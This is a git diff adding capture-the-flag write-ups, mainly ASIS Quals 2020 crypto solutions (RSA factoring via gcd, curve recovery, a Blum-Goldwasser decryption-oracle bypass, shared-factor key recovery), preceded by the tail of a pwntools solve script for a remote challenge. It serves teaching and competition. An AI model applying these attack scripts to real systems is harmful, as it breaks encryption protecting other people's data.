toint(loword(v3 ^ v5))) + + v9 = toint(loword(v8 + (v1 ^ v4))) + r1 = loword(2*v9) + r2 = loword(z3.LShR(toint(2*v9), 16)) + v10 = thingy(r1, r2, 2*v9, ~v9) + s = z3.Solver() + res1 = (z3.ZeroExt(16, loword(v5 ^ v10)) | ((v10 ^ v3) << 16)) + res2 = ((toint(loword((v10 + v8) ^ v1))) | (((v10 + v8) ^ v4) << 16)) + s.assert_and_track(t1 == res1, "res1") + s.assert_and_track(t2 == res2, "res2") + assert s.check() == z3.sat + m = s.model() + nums = [m.eval(i).as_long() for i in inp] + in_val = b"" + for num in nums: + in_val += p32(num) + return in_val +``` + +With all of that done, we can now write our exploit script and get the flag :): + +```python +#!/usr/bin/env python +# -*- coding: utf-8 -*- +# This exploit template was generated via: +# $ pwn template --host 111.186.58.164 --port 30212 +from pwn import * +from hashlib import sha256 +from itertools import product +import re +from pwnlib.tubes.tube import tube +# import pow + +# Set up pwntools for the correct architecture +context.update(arch='i386') +exe = './path/to/binary' + +# Many built-in settings can be controlled on the command-line and show up +# in "args". For example, to dump all data sent/received, and disable ASLR +# for all created processes... +# ./exploit.py DEBUG NOASLR +# ./exploit.py GDB HOST=example.com PORT=4141 +host = args.HOST or '111.186.58.164' +port = int(args.PORT or 30212) + +def local(argv=[], *a, **kw): + '''Execute the target binary locally''' + if args.GDB: + return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) + else: + return process([exe] + argv, *a, **kw) + +def remote(argv=[], *a, **kw): + '''Connect to the process on the remote host''' + io = connect(host, port) + if args.GDB: + gdb.attach(io, gdbscript=gdbscript) + return io + +def start(argv=[], *a, **kw): + '''Start the exploit against the target.''' + if args.LOCAL: + return local(argv, *a, **kw) + else: + return remote(argv, *a, **kw) + +# Specify your GDB script here for debugging +# GDB will be launched if the exploit is run via e.g. +# ./exploit.py GDB +gdbscript = ''' +continue +'''.format(**locals()) + +#=========================================================== +# EXPLOIT GOES HERE +#=========================================================== + +def solve_proof_of_work(hashable_suffix, hash) : + alphabet = (string.ascii_letters + string.digits + '!#$%&*-?') + for hashable_prefix in product(alphabet, repeat=4) : + current_hash_in_hex = sha256((''.join(hashable_prefix) + hashable_suffix).encode()).hexdigest() + if current_hash_in_hex == hash : + return ''.join(hashable_prefix) + + +io = start() + +proof_of_work_line = io.recvline(keepends=False).decode("utf-8") +io.recvline() +hashable_suffix = re.search('sha256\(XXXX\+(.*)\) ==', proof_of_work_line).group(1) +hash = re.search('== (.*)', proof_of_work_line).group(1) +log.info("Solving POW %s for %s", hashable_suffix, hash) +proof = solve_proof_of_work(hashable_suffix, hash) +io.sendline(proof) +io: tube + +import base64 + +def read_challenge(): + io.readuntil("Here is your challenge:") + # swallow 2 newlines + io.recvline() + io.recvline() + challenge = io.recvline() + return base64.b64decode(challenge) + +for i in range(3): + + log.info("Downloading challenge %d", i) + chal1 = read_challenge() + with open(f"chal{i}", "wb") as f: + f.write(chal1) + + import unpack + log.info("Unpacking challenge") + unpacked = unpack.unpack(chal1) + + with open(f"chal{i}_unpacked", "wb") as f: + f.write(unpacked) + + log.info("Running wrapper") + p = process(["./wrapper", f"chal{i}_unpacked"]) + res1 = p.readuntil(" ") + res1 = int(res1, 16) + res2 = p.readuntil("\n") + res2 = int(res2, 16) + + log.info("Targets: 0x%x, 0x%x", res1, res2) + + import do_solve + sender = do_solve.do_solve(res1, res2) + + io.send(sender) + +io.interactive() +``` + +[^1]: For some reason I tried making a fast GPU based POW solver, turns out it's slower than just python hashlib :face_palm: + +[^2]: This was probably for other reasons, angr did manage to work later on. diff --git a/ASIS-Quals-2020/index.html b/ASIS-Quals-2020/index.html new file mode 100755 index 0000000..57abbce --- /dev/null +++ b/ASIS-Quals-2020/index.html @@ -0,0 +1,1059 @@ + + + + + +ASIS Quals 2020 | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

ASIS Quals 2020

+ +

A handful of write ups from some of the crypto challenges from ASIS 2020 Quals. Thanks to Aurel, Hrpr and Hyperreality for the tips while solving these. Cr0wn came 16th overall, and I learnt that I really need to get to grips with multivariate polynomials because Tripolar was solved by a bunch of teams and I just couldn’t crack it…

+ +

Contents

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ChallengePoints
Baby RSA60
Elliptic Curve125
Jazzy122
Crazy154
Tripolar154
+ +

Baby RSA

+ +
+

All babies love RSA. How about you? 😂

+
+ +

Challenge

+ +
#!/usr/bin/python
+
+from Crypto.Util.number import *
+import random
+from flag import flag
+
+nbit = 512
+while True:
+	p = getPrime(nbit)
+	q = getPrime(nbit)
+	e, n = 65537, p*q
+	phi = (p-1)*(q-1)
+	d = inverse(e, phi)
+	r = random.randint(12, 19)
+	if (d-1) % (1 << r) == 0:
+		break
+
+s, t = random.randint(1, min(p, q)), random.randint(1, min(p, q))
+t_p = pow(s*p + 1, (d-1)/(1 << r), n)
+t_q = pow(t*q + 4, (d-1)/(1 << r), n)
+
+print 'n =', n
+print 't_p =', t_p
+print 't_q =', t_q
+print 'enc =', pow(bytes_to_long(flag), e, n)
+
+ +

Solution

+ +

To solve this challenge, we use that for the RSA cryptosystem the public and private keys obey

+ +\[e\cdot d - 1 \equiv 0 \mod \phi(n), \qquad \Rightarrow \qquad e\cdot d - 1 = k \cdot \phi(n), \quad k \in \mathbf{Z}\] + +

and Euler’s theorem, which states that

+ +\[\gcd(a,n) = 1 \qquad \Leftrightarrow \qquad a^{\phi(n)} \equiv 1\mod n\] + +

We have the data $t_p, t_q, e, n$ which is suffient to solve for $p$. Using that

+ +\[t_p = (sp + 1)^{\frac{d-1}{2^r}}\] + +

We can take eth power to find

+ +\[\begin{align} +t_p^e &= (sp + 1)^{\frac{ed-e}{2^r}} \mod n \\ +&= (sp + 1)^{\frac{k\phi(n) + 1 -e}{2^r}} \mod n \\ +&= (sp + 1)^{\frac{k\phi(n)}{2^r}} (sp + 1)^{\frac{1-e}{2^r}} \mod n +\end{align}\] + +

From Euler’s theorem we have

+ +\[(sp + 1)^{\frac{k\phi(n)}{2^r}} \equiv 1^{\frac{k}{2^r}} \equiv 1 \mod n\] + +

The value of r is of small size r = random.randint(12, 19) and we also $e - 1 = 2^{16}$. We can understand $m = \frac{1-e}{2^r}$ as a power of two. The actual value of $m$ isn’t needed, as we can simply expand out $t_p^e$ and write down

+ +\[\begin{align} +t_p^e - 1 = s p \cdot (s^{m-1} p^{m-1} + \ldots + m) \mod n \\ +\end{align}\] + +

We see that $N$ and $t_p^e$ share a common factor of $p$, and we can solve the challenge from

+ +\[\gcd(t_p^e - 1, n) = p\] + +

Note: we can only treat $p$ as a true factor in the above line as $n = p\cdot q$, so by nature of the CRT, this expression simplifies.

+ +

Implementation

+ +
import math
+from Crypto.Util.number import *
+
+n = 10594734342063566757448883321293669290587889620265586736339477212834603215495912433611144868846006156969270740855007264519632640641698642134252272607634933572167074297087706060885814882562940246513589425206930711731882822983635474686630558630207534121750609979878270286275038737837128131581881266426871686835017263726047271960106044197708707310947840827099436585066447299264829120559315794262731576114771746189786467883424574016648249716997628251427198814515283524719060137118861718653529700994985114658591731819116128152893001811343820147174516271545881541496467750752863683867477159692651266291345654483269128390649
+e = 65537
+t_p = 4519048305944870673996667250268978888991017018344606790335970757895844518537213438462551754870798014432500599516098452334333141083371363892434537397146761661356351987492551545141544282333284496356154689853566589087098714992334239545021777497521910627396112225599188792518283722610007089616240235553136331948312118820778466109157166814076918897321333302212037091468294236737664634236652872694643742513694231865411343972158511561161110552791654692064067926570244885476257516034078495033460959374008589773105321047878659565315394819180209475120634087455397672140885519817817257776910144945634993354823069305663576529148
+t_q = 4223555135826151977468024279774194480800715262404098289320039500346723919877497179817129350823600662852132753483649104908356177392498638581546631861434234853762982271617144142856310134474982641587194459504721444158968027785611189945247212188754878851655525470022211101581388965272172510931958506487803857506055606348311364630088719304677522811373637015860200879231944374131649311811899458517619132770984593620802230131001429508873143491237281184088018483168411150471501405713386021109286000921074215502701541654045498583231623256365217713761284163181132635382837375055449383413664576886036963978338681516186909796419
+enc = 5548605244436176056181226780712792626658031554693210613227037883659685322461405771085980865371756818537836556724405699867834352918413810459894692455739712787293493925926704951363016528075548052788176859617001319579989667391737106534619373230550539705242471496840327096240228287029720859133747702679648464160040864448646353875953946451194177148020357408296263967558099653116183721335233575474288724063742809047676165474538954797346185329962114447585306058828989433687341976816521575673147671067412234404782485540629504019524293885245673723057009189296634321892220944915880530683285446919795527111871615036653620565630
+
+p = math.gcd(n, pow(t_p, e, n) - 1)
+q = n // p
+phi = (p-1)*(q-1)
+d = inverse(e, phi)
+flag = pow(enc,d,n)
+print(long_to_bytes(flag))
+# b'ASIS{baby___RSA___f0r_W4rM_uP}'
+
+ +

Flag

+ +

b'ASIS{baby___RSA___f0r_W4rM_uP}'

+ +

Elliptic Curve

+ +

Challenge

+ +
+

Are all elliptic curves smooth and projective?

+ +
nc 76.74.178.201 9531
+
+
+ +

Solution

+ +

The hard part of this challenge was dealing with boring bugs when sending data to the server while resolving the proof of work. One you connected to the server and passed the proof of work, we were given the prompt

+ +
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
++ hi! There are three integer points such that (x, y), (x+1, y), and +
++ (x+2, y) lies on the elliptic curve E. You are given one of them!! +
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+| One of such points is: P = (68363894779467582714652102427890913001389987838216664654831170787294073636806, 48221249755015813573951848125928690100802610633961853882377560135375755871325)
+| Send the 37362287180362244417594168824436870719110262096489675495103813883375162938303 * P :
+
+ +

So the question is, given a single point $P$, together with the knowledge of the placement of three points, can we uniquely determine the curve?

+ +

If we assume the curve is over some finite field with prime characteristic, and that as standard this challenge uses a curve of Weierstrass form, we know we are looking for curves of the form

+ +\[y^2 = x^3 + Ax + B \mod p\] + +

and from the knowledge of the three points we have

+ +\[x^3 + Ax + B = (x+ 1)^3 + A(x+1) + B = (x + 2)^3 + A(x + 2) + B \mod p\] + +

We can then write down

+ +\[x^3 + Ax = (x+ 1)^3 + A(x+1), \quad \Rightarrow \quad A = -1 -3x - 3x^2\] + +

and

+ +\[x^3 + Ax = (x+ 2)^3 + A(x+2), \quad \Rightarrow \quad A = -4 -6x - 3x^2\] + +

as all three points are on the same curve, we have that

+ +\[3x^2 + 3x + 1 = 3x^2 +6x +4, \quad \Rightarrow \quad x = -1\] + +

and from the above we have $x = -1 \Rightarrow A = -1$. The only thing left to do is to find $B$, which we can see is recovered from the general form of the curve.

+ +\[y^2 = (-1)^3 + (-1)^2 + B, \quad \Rightarrow \quad B = y^2\] + +

Now we have recovered the inital point, we see that the triple of points we will be given is $(-1, y)$, $(0, y)$ and $(1,y)$. The last two of these points would be trivial to spot and we can see this isn’t what the server is sending us. We can then know for certain that the given point

+ +
(68363894779467582714652102427890913001389987838216664654831170787294073636806, 48221249755015813573951848125928690100802610633961853882377560135375755871325)
+
+ +

is the point $(x_0, y_0) = (-1, y)$ . We can now recover the characteristic from

+ +\[-1 \equiv x_0 \mod p, \quad \Rightarrow \quad p = x_0 + 1\] + +

and we can quickly check that

+ +
sage: x0 = 68363894779467582714652102427890913001389987838216664654831170787294073636806
+sage: p = x0 + 1
+sage: print(p.is_prime())
+True
+
+ +

With everything now understood, we can take the point given by the server, together with the given scale factor, computer the scalar multiplication and send the new point back to the server

+ +

Implmentation

+ +
import os
+os.environ["PWNLIB_NOTERM"] = "True"
+
+import hashlib
+import string
+import random
+from pwn import *
+
+IP = "76.74.178.201"
+PORT = 9531
+r = remote(IP, PORT, level="debug")
+POW = r.recvline().decode().split()
+x_len = int(POW[-1])
+suffix = POW[-5]
+hash_type = POW[-7].split('(')[0]
+
+"""
+The server asks for a random length string, hashed with a random hash
+function such that the last 3 bytes of the hash match a given prefix.
+"""
+while True:
+	X = ''.join(random.choices(string.ascii_letters + string.digits, k=x_len))
+	h = getattr(hashlib, hash_type)(X.encode()).hexdigest()
+	if h.endswith(suffix):
+		print(h)
+		break
+
+r.sendline(X)
+
+header = r.recvuntil(b'One of such points')
+
+points = r.recvline().split(b'P = (')[-1]
+points = points.split(b', ')
+px = Integer(points[0])
+py = Integer(points[-1][:-2])
+
+scale_data = r.recvline().split(b' ')
+scale = Integer(scale_data[3])
+
+p = px + 1
+assert p.is_prime()
+a = -1
+b = (py^2 - px^3 - a*px) % p
+E = EllipticCurve(GF(p), [a,b])
+P = E(px,py)
+
+Q = P*scale
+
+"""
+For some reason sending str(Q.xy()) to the server caused an error, so I 
+just switched to interactive and sent it myself. I'm sure it's a dumb
+formatting bug, but with the annoying POW to deal with, I can't be bothered
+to figure it out...
+"""
+# r.sendline(str(Q.xy()))
+print(Q.xy())
+r.interactive()
+
+ +

Flag

+ +

ASIS{4n_Ellip71c_curve_iZ_A_pl4Ne_al9ebr4iC_cUrv3}

+ +

Jazzy

+ +

Challenge

+ +
+

Jazzy in the real world, but it’s flashy and showy!

+
+ +
nc 76.74.178.201 31337
+
+ +

Solution

+ +

Connecting to the server, we are given the following options:

+ +
------------------------------------------------------------------------
+|          ..:: Jazzy semantically secure cryptosystem ::..            |
+|           Try to break this cryptosystem and find the flag!          |
+------------------------------------------------------------------------
+| Options:                                                             |
+|	[E]ncryption function                                          |
+|	[F]lag (encrypted)!                                            |
+|	[P]ublic key                                                   |
+|	[D]ecryption oracle                                            |
+|	[Q]uit                                                         |
+|----------------------------------------------------------------------|
+
+ +

Calling E we are given the source of the encryption

+ +
def encrypt(msg, pubkey):
+	h = len(bin(len(bin(pubkey)[2:]))[2:]) - 1	# dirty log :/
+	m = bytes_to_long(msg)
+	if len(bin(m)[2:]) % h != 0:
+		m = '0' * (h - len(bin(m)[2:]) % h) + bin(m)[2:]
+	else:
+		m = bin(m)[2:]
+	t = len(m) // h
+	M = [m[h*i:h*i+h] for i in range(t)]
+	r = random.randint(1, pubkey)
+	s_0 = pow(r, 2, pubkey)
+	C = []
+	for i in range(t):
+		s_i = pow(s_0, 2, pubkey)
+		k = bin(s_i)[2:][-h:]
+		c = bin(int(M[i], 2) ^ int(k, 2))[2:].zfill(h)
+		C.append(c)
+		s_0 = s_i
+	enc = int(''.join(C), 2)
+	return (enc, pow(s_i, 2, pubkey))
+
+ +

I’ll talk about this more later, but let’s play with the server and see what it allows us to do first.

+ +

Sending the option P we get the pubkey

+ +
pubkey = 19386947523323881137657722758784550061106532690506305900249779841167576220076212135680639455022694670503210628255656646008011027142702455763327842867219209906085977668455830309111190774053501662218829125259002174637966634423791789251231110340244630214258655422173621444242489738175447333216354148711752466314530719614094724358835343148321688492410941279847726548532755612726470529315488889562870038948285553892644571111719902764495405902112917765163456381355663349414237105472911750206451801228088587783073435345892701332742065121188472147494459698861131293625595711112000070721340916959903684930522615446106875805793
+
+ +

Which for reasons below, I will now refer to as the modulus $n$. Sending the option F, we get the encryption of the flag, again with pubkey as a label, but from the encryption function, we know that this value is (or at least should be $s_{t+1} = s_t^2 \mod n$). Not sure why ASIS chose this confusing notation…

+ +
encrypt(flag, pubkey) = (513034390171324294434451277551689016606030017438707103869413492040051559571787250655384810990478248003042112532698503643742022419886333447600832984361864307529994477653561831340899157529404892382650382111633622198787716725365621822247147320745039924328861122790104611285962416151778910L, 1488429745298868766638479271207330114843847244232531062732057594917937561200978102167607190725732075771987314708915658110913826837267872416736589249787656499672811179741037216221767195188188763324278766203100220955272045310661887176873118511588238035347274102755393142846007358843931007832981307675991623888190387664964320071868166680149108371223039154927112978353227095505341351970335798938829053506618617396788719737045747877570660359923455754974907719535747353389095579477082285353626562184714935217407624849113205466008323762523449378494051510623802481835958533728111537252943447196357323856242125790983614239733L)
+
+ +

Lastly sending the option D we are given the prompt

+ +
| send an pair of integers, like (c, x), that you want to decrypt: 
+
+ +

Being a wise guy, I tried sending the flag back to the server, but I was given the message

+ +
| this decryption is NOT allowed :P
+
+ +

Solving this challenge was easy after a bit of googling to try and see what this crypto system was. I noticed that the key stream was generated using a random number generator called Blum Blum Shub. Looking for when this was used as a keystream, I stumbled upon the Blum-Goldwasser Cryptosystem and spending a little bit of time reading the Wikipedia page, I could tell that this was the right choice.

+ +

Adaptive chosen plaintext attack

+ +

Reading more closely, I spotted that the BG implementation is insecure against adaptive plaintext attacks when the attacker has access to a decryption oracle. This sounds great!!

+ +

The idea is that to decrypt some ciphertext $(\vec{c}, s)$, one can pick a generic ciphertext using the same seed $(\vec{a}, s)$ and then use the decryption oracle to find $m^\prime$. As the seed is the same, both $m^\prime$ and the flag $m$ have been encrypted with the same keystream and we can obtain the flag from $m = \vec{a} \oplus \vec{c} \oplus m^\prime$.

+ +

This sounds easy! Lets go back to the server and generate $m^\prime$:

+ +
| send an pair of integers, like (c, x), that you want to decrypt: 
+(513034390171324294434451277551689016606030017438707103869413492040051559571787250655384810990478248003042112532698503643742022419886333447600832984361864307529994477653561831340899157529404892382650382111633622198787716725365621822247147320745039924328861122790104611285962416151778910, 1488429745298868766638479271207330114843847244232531062732057594917937561200978102167607190725732075771987314708915658110913826837267872416736589249787656499672811179741037216221767195188188763324278766203100220955272045310661887176873118511588238035347274102755393142846007358843931007832981307675991623888190387664964320071868166680149108371223039154927112978353227095505341351970335798938829053506618617396788719737045747877570660359923455754974907719535747353389095579477082285353626562184714935217407624849113205466008323762523449378494051510623802481835958533728111537252943447196357323856242125790983614239733)
+| this decryption is NOT allowed :P
+
+ +

Uh oh… it seems that the server checks the seed value and doesn’t let us use this attack…

+ +

Just one more block

+ +

Okay, so if we can’t use the same $s$ as the flag encryption, and we can’t factor $n$ (waaaaaaay too big) what options do we have?

+ +

I dunno if this attack has a proper name, but I realised we could fool the server into decrypting the flag by adding a block to the end of the ciphertext. For every block that is encoded, the encryption protocol takes $s_i$ and calculates $s_{i+1} = s_i^2 \mod n$. As a result, if the ciphertext being decoded was exactly one block longer, then the seed value we would supply to the oracle wouldn’t be $s$, but rather $s^2 \mod n$.

+ +

As we know ct, s, n we control enough data to solve the challenge, assuming that the server doesn’t tell us off for sending $s^2 \mod n$…

+ +

So, this should bypass the seed check in the oracle and allow us to decrypt the flag. All we need to do is take the pair (ct, s) from the server, together with the modulus n , add h bits to the end of ct and square s. Sending this to the oracle will decrypt our ciphertext block by block, we can finally remove the last h bits (which will have decoded to garbage) and grab the flag.

+ +

To do this I wrote something quick and dirty

+ +
n = 19386947523323881137657722758784550061106532690506305900249779841167576220076212135680639455022694670503210628255656646008011027142702455763327842867219209906085977668455830309111190774053501662218829125259002174637966634423791789251231110340244630214258655422173621444242489738175447333216354148711752466314530719614094724358835343148321688492410941279847726548532755612726470529315488889562870038948285553892644571111719902764495405902112917765163456381355663349414237105472911750206451801228088587783073435345892701332742065121188472147494459698861131293625595711112000070721340916959903684930522615446106875805793
+h = len(bin(len(bin(n)[2:]))[2:]) - 1
+
+flag_ct = 513034390171324294434451277551689016606030017438707103869413492040051559571787250655384810990478248003042112532698503643742022419886333447600832984361864307529994477653561831340899157529404892382650382111633622198787716725365621822247147320745039924328861122790104611285962416151778910
+seed = 1488429745298868766638479271207330114843847244232531062732057594917937561200978102167607190725732075771987314708915658110913826837267872416736589249787656499672811179741037216221767195188188763324278766203100220955272045310661887176873118511588238035347274102755393142846007358843931007832981307675991623888190387664964320071868166680149108371223039154927112978353227095505341351970335798938829053506618617396788719737045747877570660359923455754974907719535747353389095579477082285353626562184714935217407624849113205466008323762523449378494051510623802481835958533728111537252943447196357323856242125790983614239733
+seed_squared = pow(seed,2,n)
+flag_extended = bin(flag_ct)[2:] + '1'*h
+flag_extended = int(flag_extended, 2)
+
+print(f"({flag_extended}, {seed_squared})")
+
+ +

Using the data collected above. Sending our slightly longer flag to the server gives us a decrypted message:

+ +
(1050694431070872155001756216425859106009149475714472148724558831698025594003020289342228092908499451910230246466966535462383661915927210900686505951973098101821428690234494630586161474620221219599667982564625658263117243853548793491962157712885841765025507579474134243913651028278843209727, 3216641374118298063210229377328115445643813442578456023987769065661762517695051834586452075939576983800791011462122765510295327568646398522659752628912802933208909111321539625480585977865621874640928715606628766855738533853630742505790835948213775188951805695531626048779789826277990208281243968206104294503971898862963118207505455918079294280929081526755227996190831742555093366364879064928874861060462753403017976763786404530509469825731935018035684983539175758425557263211403465858234005521025395515018046387350089113701767863479780051534190944394815574406100307489105693633714510667995574063150674428700480235811)
+| the decrypted message is: 47771147116374265884489633343424974277884840496243413677482329815315049691915267634281287751924271959635398604756191897221446400520109091655450373658402419482516535670630080915290670126420548875478840451816545566711178369563850274167871301020132981380671014536902778264305709989256317962
+
+ +

Then we can simply grab the flag after chopping off 11 bits

+ +
>>> from Crypto.Util.number import long_to_bytes
+>>> flag_ext = 47771147116374265884489633343424974277884840496243413677482329815315049691915267634281287751924271959635398604756191897221446400520109091655450373658402419482516535670630080915290670126420548875478840451816545566711178369563850274167871301020132981380671014536902778264305709989256317962
+>>> flag_bin = bin(flag_ext)[2:-11]
+>>> flag_int = int(flag_bin, 2)
+>>> flag = long_to_bytes(flag_int)
+>>> print(flag)
+b'((((......:::::: Great! the flag is: ASIS{BlUM_G0ldwaS53R_cryptOsySt3M_Iz_HI9hlY_vUlNEr4bl3_70_CCA!?} ::::::......))))' 
+
+ +

No pwntools cracked out to do this one in a stylish way, but we still grab the flag!

+ +

Flag

+ +

ASIS{BlUM_G0ldwaS53R_cryptOsySt3M_Iz_HI9hlY_vUlNEr4bl3_70_CCA!?}

+ +

Crazy

+ +

Challenge

+ +
+

Look at you kids with your vintage music

+ +

Comin’ through satellites while cruisin’

+ +

You’re part of the past, but now you’re the future

+ +

Signals crossing can get confusing

+ +

It’s enough just to make you feel crazy, crazy, crazy

+ +

Sometimes, it’s enough just to make you feel crazy

+
+ +
#!/usr/bin/python
+
+from Crypto.Util.number import *
+from flag import flag
+from secret import *
+
+def encrypt(msg, pubkey, xorkey):
+	h = len(bin(len(bin(pubkey)[2:]))[2:]) - 1	# dirty log :/
+	m = bytes_to_long(msg)
+	if len(bin(m)[2:]) % h != 0:
+		m = '0' * (h - len(bin(m)[2:]) % h) + bin(m)[2:]
+	else:
+		m = bin(m)[2:]
+	t = len(m) // h
+	M = [m[h*i:h*i+h] for i in range(t)]
+	r = random.randint(1, pubkey)
+	s_0 = pow(r, 2, pubkey)
+	C = []
+	for i in range(t):
+		s_i = pow(s_0, 2, pubkey)
+		k = bin(s_i)[2:][-h:]
+		c = bin(int(M[i], 2) ^ int(k, 2) & xorkey)[2:].zfill(h)
+		C.append(c)
+		s_0 = s_i
+	enc = int(''.join(C), 2)
+	return (enc, pow(s_i, 2, pubkey))
+
+for keypair in KEYS:
+	pubkey, privkey, xorkey = keypair
+	enc = encrypt(flag, pubkey, xorkey)
+	msg = decrypt(enc, privkey, xorkey)
+	if msg == flag:
+		print pubkey, enc
+
+ +

Solution

+ +

After solving Jazzy there’s not much to this challenge. We know that it is an implementation of Blum-Goldwasser (albeit with an additional xorkey). Blum-Goldwasser’s security relies on the hardness of factoring $n = p\cdot q$ and so our best chance to solve this puzzle is to find the factors of the pubkey.

+ +

Looking at the challenge, we see we are given many many instances of the encryption. With all of these public keys, wouldn’t it be a shame if some of them shared a factor?

+ +

Putting the data into an array, I checked for common factors using gcd in the following way:

+ +
def find_factors(data):
+	  data_length = len(data)
+	  for i in range(data_length):
+		  p = data[i][0]
+		  for j in range(i+1,data_length):
+		  	x = data[j][0]
+		  	if math.gcd(p,x) != 1:
+          			print(f'i = {i}')
+        			print(f'j = {j}')
+         			print(f'p = {math.gcd(p,x)}')
+				return i, math.gcd(p,x)
+
+ +

Very quickly we get output:

+ +
i = 0 
+j = 7
+p = 114699564889863002119717546749303415014640174666510831598557661431094864991761656658454471662058404464073476167628817149960697375037558130201947795111687982132434309682025253703831106682712999472078751154844115223133651609962643428282001182462505433609132703623568072665114357116233526985586944694577610098899
+
+ +

and so with this, the whole encryption scheme is broken (ignoring the xorkey step of course).

+ +

With the factors of the pubkey, we can follow the dycryption algorithm on Wikipedia to get

+ +
def xgcd(a, b):
+    """return (g, x, y) such that a*x + b*y = g = gcd(a, b)"""
+    x0, x1, y0, y1 = 0, 1, 1, 0
+    while a != 0:
+        (q, a), b = divmod(b, a), a
+        y0, y1 = y1, y0 - q * y1
+        x0, x1 = x1, x0 - q * x1
+    return b, x0, y0
+
+
+def decrypt(c, pubkey, p, q, s):
+	h = len(bin(len(bin(pubkey)[2:]))[2:]) - 1	# dirty log :/
+	if len(bin(c)[2:]) % h != 0:
+		c = '0' * (h - len(bin(c)[2:]) % h) + bin(c)[2:]
+	else:
+		c = bin(c)[2:]
+	t = len(c) // h
+
+	# Recover s0
+	dp = (((p + 1) // 4)**(t + 1)) % (p - 1)
+	dq = (((q + 1) // 4)**(t + 1)) % (q - 1)
+	up = pow(s, dp, p)
+	uq = pow(s, dq, q)
+	_, rp, rq = xgcd(p,q)
+	s_0 = (uq * rp * p + up * rq * q ) % pubkey
+
+	C = [c[h*i:h*i+h] for i in range(t)]
+	M = []
+	for i in range(t):
+		s_i = pow(s_0, 2, pubkey)
+		k = bin(s_i)[2:][-h:]
+		m = bin(int(C[i], 2) ^ int(k, 2))[2:].zfill(h)
+		M.append(m)
+		s_0 = s_i
+		
+	msg = long_to_bytes(int(''.join(M),2))
+	return msg
+
+ +

With the crypto system all sorted out and checked against the encryption function (without the xorkey) we just need to find a way to do this last step. I started trying to think of a clever way to undo the xor with knowledge of several ct / msg pairs (many of the public keys share common factors) but then i realised that the block size is only 10 bits long and a brute force of xorkey would only mean guessing 1024 values.

+ +

So, i took the easy way and included a loop inside my decrypt trying all values for the xorkey and storing any decryptions that had the flag format: ASIS{. The script takes seconds and finds the flag.

+ +

Implementation

+ +
from Crypto.Util.number import *
+import math
+
+def find_factors(data):
+	data_length = len(data)
+	for i in range(data_length):
+		p = data[i][0]
+		for j in range(i+1,data_length):
+			x = data[j][0]
+			if math.gcd(p,x) != 1:
+				return i, math.gcd(p,x)
+			
+
+def encrypt(msg, pubkey, xorkey):
+	h = len(bin(len(bin(pubkey)[2:]))[2:]) - 1	# dirty log :/
+	m = bytes_to_long(msg)
+	if len(bin(m)[2:]) % h != 0:
+		m = '0' * (h - len(bin(m)[2:]) % h) + bin(m)[2:]
+	else:
+		m = bin(m)[2:]
+	t = len(m) // h
+	M = [m[h*i:h*i+h] for i in range(t)]
+	r = random.randint(1, pubkey)
+	s_0 = pow(r, 2, pubkey)
+	C = []
+	for i in range(t):
+		s_i = pow(s_0, 2, pubkey)
+		k = bin(s_i)[2:][-h:]
+		c = bin(int(M[i], 2) ^ int(k, 2) & xorkey)[2:].zfill(h)
+		C.append(c)
+		s_0 = s_i
+	enc = int(''.join(C), 2)
+	return (enc, pow(s_i, 2, pubkey))
+
+
+def xgcd(a, b):
+    """return (g, x, y) such that a*x + b*y = g = gcd(a, b)"""
+    x0, x1, y0, y1 = 0, 1, 1, 0
+    while a != 0:
+        (q, a), b = divmod(b, a), a
+        y0, y1 = y1, y0 - q * y1
+        x0, x1 = x1, x0 - q * x1
+    return b, x0, y0
+
+
+def decrypt(c, pubkey, p, q, s):
+	# Idiot checks
+	assert p*q == pubkey
+	assert isPrime(p) and isPrime(q)
+
+	h = len(bin(len(bin(pubkey)[2:]))[2:]) - 1	# dirty log :/
+	if len(bin(c)[2:]) % h != 0:
+		c = '0' * (h - len(bin(c)[2:]) % h) + bin(c)[2:]
+	else:
+		c = bin(c)[2:]
+	t = len(c) // h
+
+	# Recover s0
+	dp = (((p + 1) // 4)**(t + 1)) % (p - 1)
+	dq = (((q + 1) // 4)**(t + 1)) % (q - 1)
+	up = pow(s, dp, p)
+	uq = pow(s, dq, q)
+	_, rp, rq = xgcd(p,q)
+	s0 = (uq * rp * p + up * rq * q ) % pubkey
+
+
+	C = [c[h*i:h*i+h] for i in range(t)]
+
+	# Brute xorkey (max size: 2**10 - 1)
+	flags = []
+	for X in range(1024):
+		# Restore value for brute, and empty M
+		s_0 = s0
+		M = []
+
+		for i in range(t):
+			s_i = pow(s_0, 2, pubkey)
+			k = bin(s_i)[2:][-h:]
+			m = bin(int(C[i], 2) ^ int(k, 2) & X)[2:].zfill(h)
+			M.append(m)
+			s_0 = s_i
+			
+		fl = long_to_bytes(int(''.join(M),2))
+		try:
+			flag = fl.decode()
+			if "ASIS{" in flag:
+				flags.append(flag)
+		except:
+			pass
+	return flags
+
+# data from challenge.txt, truncated to only two values save space
+data = [[12097881278174698631026228331130314850080947749821686944446636213641310652138488716240453597129801720504043924252478136044035819232933933717808745477909546176235871786148513645805314150829468800301698799525780070273753857243854268554322340900904051857831398492096742127894417784386491191471947863787022245824307084379225579368393254254088207494229400873467930160606087032014972366802086915193167585867760542665623158008113534159892785943512727008525032377162641992852773743617023163398493300810949683112862817889094615912113456275357250831609021007534115476194023075806921879501827098755262073621876526524581992383113, (238917053353586684315740899995117428310480789049456179039998548040503724437945996038505262855730406127564439624355248861040378761737917431951065125651177801663731449217955736133484999926924447066163260418501214626962823479203542542670429310307929651996028669399692119495087327652345, 2361624084930103837444679853087134813420441002241341446622609644025375866099233019653831282014136118204068405467230446591931324445417288447017795525046075282581037551835081365996994851977871855718435321568545719382569106432442084085157579504951352401314610314893848177952589894962335072249886688614676995039846245628481594015356555808852415257590789843672862086889766599032421071154614466932749223855909572291554620301269793104658552481172052104139007105875898227773975867750358642521359331140861015951930087364330158718293540721277710068251667789725792771210694545702423605041261814818477350926741922865054617709373)],[116180714459882861596145462002275546673892052817494430046291172641299577402037706156418471482048108656691916858741527302675734673389509932701137825377656087763751922634055460367874539398295616848343087171157757684213000066182968973652799373581267999045280839225523065656206448188553503063520243660769747594841502145286103553581527896966784107326995987145669772119036250751989353109473404562633392048200651349004270568431836401810662327145110872927714208393446359821659975400896047982880487660740614791183666376565819363955869236311993167116977763660247690393168681198382